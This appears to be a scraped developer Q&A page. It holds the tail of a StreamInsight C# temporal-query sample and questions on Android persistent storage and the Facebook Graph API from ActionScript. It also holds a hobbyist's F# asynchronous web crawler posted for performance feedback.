fragment // (instead of simply using the 'avg' object) var averageQuery = myApp     .GetStreamable<IQStreamable<SourcePayload>, TimeSpan, double>("AverageQuery"); // retrieve the input sequence as a subject var inputSequence = myApp     .GetSubject<SourcePayload, SourcePayload>("Subject"); // retrieve the registered sink var sink = myApp.GetObserver<string, double>("ConsoleSink"); // turn the sequence into a temporal stream var stream2 = inputSequence.ToPointStreamable(     e => PointEvent.CreateInsert<SourcePayload>(e.Timestamp, e),     AdvanceTimeSettings.StrictlyIncreasingStartTime); // apply the query, now with a different window length var shortAverages = averageQuery(stream2, TimeSpan.FromSeconds(1)); // bind new sink to query and run it var fastQuery = shortAverages     .Bind(sink("1sec average"))     .Run("FastProcess"); The attached solution demonstrates the sample end-to-end. Regards, The StreamInsight Team

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  • iPhone-like Keychain in Android?

    - by Janusz
    I'm looking for something like the keychain on the iPhone, but for Android development. Something that gives me the possibility to save small key-value pairs, that are persistent and unchanged even if the user reinstalls the application. Is there something like that? Can I use the standard preferences that way? Edit I would like to achieve a behavior in a way it works with games on a PC writing the save games to another folder so that after delete and later reinstall they are not lost.

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  • Facebook Graph API and ActionScript

    - by dani
    I'm setting out to develop a number of Facebook applications/games, which make use of some Facebook user information and stores game info in a database backend etc, in ActionScript 3.0. How can one leverage the new Graph API Should I use JavaScript or PHP as a "middle layer" or should I go with the ActionScript Client Library? Are there other libraries (Facebook / database / multiplayer related.) that could simplify the development of these Facebook games?

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  • Asynchronous Webcrawling F#, something wrong ?

    - by jlezard
    Not quite sure if it is ok to do this but, my question is: Is there something wrong with my code ? It doesn't go as fast as I would like, and since I am using lots of async workflows maybe I am doing something wrong. The goal here is to build something that can crawl 20 000 pages in less than an hour. open System open System.Text open System.Net open System.IO open System.Text.RegularExpressions open System.Collections.Generic open System.ComponentModel open Microsoft.FSharp open System.Threading //This is the Parallel.Fs file type ComparableUri ( uri: string ) = inherit System.Uri( uri ) let elts (uri:System.Uri) = uri.Scheme, uri.Host, uri.Port, uri.Segments interface System.IComparable with member this.CompareTo( uri2 ) = compare (elts this) (elts(uri2 :?> ComparableUri)) override this.Equals(uri2) = compare this (uri2 :?> ComparableUri ) = 0 override this.GetHashCode() = 0 ///////////////////////////////////////////////Funtions to retreive html string////////////////////////////// let mutable error = Set.empty<ComparableUri> let mutable visited = Set.empty<ComparableUri> let getHtmlPrimitiveAsyncDelay (delay:int) (uri : ComparableUri) = async{ try let req = (WebRequest.Create(uri)) :?> HttpWebRequest // 'use' is equivalent to ‘using’ in C# for an IDisposable req.UserAgent<-"Mozilla" //Console.WriteLine("Waiting") do! Async.Sleep(delay * 250) let! resp = (req.AsyncGetResponse()) Console.WriteLine(uri.AbsoluteUri+" got response after delay "+string delay) use stream = resp.GetResponseStream() use reader = new StreamReader(stream) let html = reader.ReadToEnd() return html with | _ as ex -> Console.WriteLine( ex.ToString() ) lock error (fun () -> error<- error.Add uri ) lock visited (fun () -> visited<-visited.Add uri ) return "BadUri" } ///////////////////////////////////////////////Active Pattern Matching to retreive href////////////////////////////// let (|Matches|_|) (pat:string) (inp:string) = let m = Regex.Matches(inp, pat) // Note the List.tl, since the first group is always the entirety of the matched string. if m.Count > 0 then Some (List.tail [ for g in m -> g.Value ]) else None let (|Match|_|) (pat:string) (inp:string) = let m = Regex.Match(inp, pat) // Note the List.tl, since the first group is always the entirety of the matched string. if m.Success then Some (List.tail [ for g in m.Groups -> g.Value ]) else None ///////////////////////////////////////////////Find Bad href////////////////////////////// let isEmail (link:string) = link.Contains("@") let isMailto (link:string) = if Seq.length link >=6 then link.[0..5] = "mailto" else false let isJavascript (link:string) = if Seq.length link >=10 then link.[0..9] = "javascript" else false let isBadUri (link:string) = link="BadUri" let isEmptyHttp (link:string) = link="http://" let isFile (link:string)= if Seq.length link >=6 then link.[0..5] = "file:/" else false let containsPipe (link:string) = link.Contains("|") let isAdLink (link:string) = if Seq.length link >=6 then link.[0..5] = "adlink" elif Seq.length link >=9 then link.[0..8] = "http://adLink" else false ///////////////////////////////////////////////Find Bad href////////////////////////////// let getHref (htmlString:string) = let urlPat = "href=\"([^\"]+)" match htmlString with | Matches urlPat urls -> urls |> List.map( fun href -> match href with | Match (urlPat) (link::[]) -> link | _ -> failwith "The href was not in correct format, there was more than one match" ) | _ -> Console.WriteLine( "No links for this page" );[] |> List.filter( fun link -> not(isEmail link) ) |> List.filter( fun link -> not(isMailto link) ) |> List.filter( fun link -> not(isJavascript link) ) |> List.filter( fun link -> not(isBadUri link) ) |> List.filter( fun link -> not(isEmptyHttp link) ) |> List.filter( fun link -> not(isFile link) ) |> List.filter( fun link -> not(containsPipe link) ) |> List.filter( fun link -> not(isAdLink link) ) let treatAjax (href:System.Uri) = let link = href.ToString() let firstPart = (link.Split([|"#"|],System.StringSplitOptions.None)).[0] new Uri(firstPart) //only follow pages with certain extnsion or ones with no exensions let followHref (href:System.Uri) = let valid2 = set[".py"] let valid3 = set[".php";".htm";".asp"] let valid4 = set[".php3";".php4";".php5";".html";".aspx"] let arrLength = href.Segments |> Array.length let lastExtension = (href.Segments).[arrLength-1] let lengthLastExtension = Seq.length lastExtension if (lengthLastExtension <= 3) then not( lastExtension.Contains(".") ) else //test for the 2 case let last4 = lastExtension.[(lengthLastExtension-1)-3..(lengthLastExtension-1)] let isValid2 = valid2|>Seq.exists(fun validEnd -> last4.EndsWith( validEnd) ) if isValid2 then true else if lengthLastExtension <= 4 then not( last4.Contains(".") ) else let last5 = lastExtension.[(lengthLastExtension-1)-4..(lengthLastExtension-1)] let isValid3 = valid3|>Seq.exists(fun validEnd -> last5.EndsWith( validEnd) ) if isValid3 then true else if lengthLastExtension <= 5 then not( last5.Contains(".") ) else let last6 = lastExtension.[(lengthLastExtension-1)-5..(lengthLastExtension-1)] let isValid4 = valid4|>Seq.exists(fun validEnd -> last6.EndsWith( validEnd) ) if isValid4 then true else not( last6.Contains(".") ) && not(lastExtension.[0..5] = "mailto") //Create the correct links / -> add the homepage , make them a comparabel Uri let hrefLinksToUri ( uri:ComparableUri ) (hrefLinks:string list) = hrefLinks |> List.map( fun link -> try if Seq.length link <4 then Some(new Uri( uri, link )) else if link.[0..3] = "http" then Some(new Uri(link)) else Some(new Uri( uri, link )) with | _ as ex -> Console.WriteLine(link); lock error (fun () ->error<-error.Add uri) None ) |> List.filter( fun link -> link.IsSome ) |> List.map( fun o -> o.Value) |> List.map( fun uri -> new ComparableUri( string uri ) ) //Treat uri , removing ajax last part , and only following links specified b Benoit let linksToFollow (hrefUris:ComparableUri list) = hrefUris |>List.map( treatAjax ) |>List.filter( fun link -> followHref link ) |>List.map( fun uri -> new ComparableUri( string uri ) ) |>Set.ofList let needToVisit uri = ( lock visited (fun () -> not( visited.Contains uri) ) ) && (lock error (fun () -> not( error.Contains uri) )) let getLinksToFollowAsyncDelay (delay:int) ( uri: ComparableUri ) = async{ let! links = getHtmlPrimitiveAsyncDelay delay uri lock visited (fun () ->visited<-visited.Add uri) let linksToFollow = getHref links |> hrefLinksToUri uri |> linksToFollow |> Set.filter( needToVisit ) |> Set.map( fun link -> if uri.Authority=link.Authority then link else link ) return linksToFollow } //Add delays if visitng same authority let getDelay(uri:ComparableUri) (authorityDelay:Dictionary<string,int>) = let uriAuthority = uri.Authority let hasAuthority,delay = authorityDelay.TryGetValue(uriAuthority) if hasAuthority then authorityDelay.[uriAuthority] <-delay+1 delay else authorityDelay.Add(uriAuthority,1) 0 let rec getLinksToFollowFromSetAsync maxIteration ( uris: seq<ComparableUri> ) = let authorityDelay = Dictionary<string,int>() if maxIteration = 100 then Console.WriteLine("Finished") else //Unite by authority add delay for those we same authority others ignore let stopwatch= System.Diagnostics.Stopwatch() stopwatch.Start() let newLinks = uris |> Seq.map( fun uri -> let delay = lock authorityDelay (fun () -> getDelay uri authorityDelay ) getLinksToFollowAsyncDelay delay uri ) |> Async.Parallel |> Async.RunSynchronously |> Seq.concat stopwatch.Stop() Console.WriteLine("\n\n\n\n\n\n\nTimeElapse : "+string stopwatch.Elapsed+"\n\n\n\n\n\n\n\n\n") getLinksToFollowFromSetAsync (maxIteration+1) newLinks getLinksToFollowFromSetAsync 0 (seq[ComparableUri( "http://twitter.com/" )]) Console.WriteLine("Finished") Some feedBack would be great ! Thank you (note this is just something I am doing for fun)

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